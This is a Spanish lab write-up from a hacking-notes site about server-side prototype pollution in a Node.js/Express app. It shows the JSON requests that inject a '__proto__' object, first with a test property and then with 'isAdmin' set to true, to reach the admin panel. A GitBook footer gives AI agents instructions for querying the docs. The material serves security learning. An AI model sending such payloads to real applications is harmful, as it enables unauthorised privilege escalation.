> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/prototype-pollution/privilege-escalation-via-server-side-prototype-pollution.md).

# Escalada de privilegios mediante contaminación de prototipos del lado del servidor

### Escalada de privilegios mediante contaminación del prototipo en el lado del servidor

#### Contexto del laboratorio

La aplicación (Node.js + Express) **Combina un objeto JSON controlado por el usuario** en un objeto JavaScript del lado del servidor, **sin filtrar** claves peligrosas como `__proto__`. / Resultado: podemos **contaminar `Object.prototype`** e inyectar propiedades que serán heredadas por otros objetos.

En este laboratorio, es fácil detectarlo porque **las propiedades heredadas a través de la cadena de prototipos reaparecen en la respuesta HTTP**.

<figure><img src="/files/423b990a6a8b08d6e9010fea616e924d04d0c83c" alt=""><figcaption></figcaption></figure>

### 1) Punto de entrada (origen): solicitud JSON para actualizar la dirección

**Análisis de la solicitud**

Al actualizar la dirección del usuario, la aplicación envía en segundo plano la siguiente solicitud JSON:

{% code overflow="wrap" %}

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "WTgq2JXh1WaH4oRdDbqX28gKv8stV3rE"
}
```

{% endcode %}

La respuesta del servidor contiene información del usuario, incluido el campo sensible:

```json
{
  "username": "wiener",
  "firstname": "Peter",
  "lastname": "Wiener",
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "isAdmin": false
}
```

**Identificación de la vulnerabilidad**

Añadiendo una especial `__proto__` clave al cuerpo JSON:

```json
"__proto__":  {
"foo":"bar"}
```

La respuesta del servidor refleja la `foo` propiedad.

```json
"foo":"bar"
}
```

Esto confirma que:

* El servidor \*\* combina directamente el objeto del usuario\*\*
* **la contaminación del prototipo global (`Object.prototype`) es posible**
* Las propiedades heredadas son visibles y pueden explotarse

<figure><img src="/files/1327a01cb4fd09d5418dd012954c84d973df88fc" alt=""><figcaption></figcaption></figure>

**Operación: privilegios elevados**

La propiedad interesante aquí es `isAdmin`, utilizada por la aplicación para determinar los privilegios.

Esta propiedad se inyecta entonces en el prototipo global:

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "WTgq2JXh1WaH4oRdDbqX28gKv8stV3rE",
  "__proto__": {
    "isAdmin": "true"
  }
}
```

**Resultado**

* El `isAdmin` la propiedad ahora se hereda de `Object.prototype`
* Durante las comprobaciones de autorización, la aplicación considera al usuario como \*\*administrador\*\*

<figure><img src="/files/28ab31e591eac59cad4c77a820397553165dc4b9" alt=""><figcaption></figcaption></figure>

* Acceso a `/admin` panel

<figure><img src="/files/e1498a1a8138c2bfcf2acef5930eb426a381a0fd" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/prototype-pollution/privilege-escalation-via-server-side-prototype-pollution.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
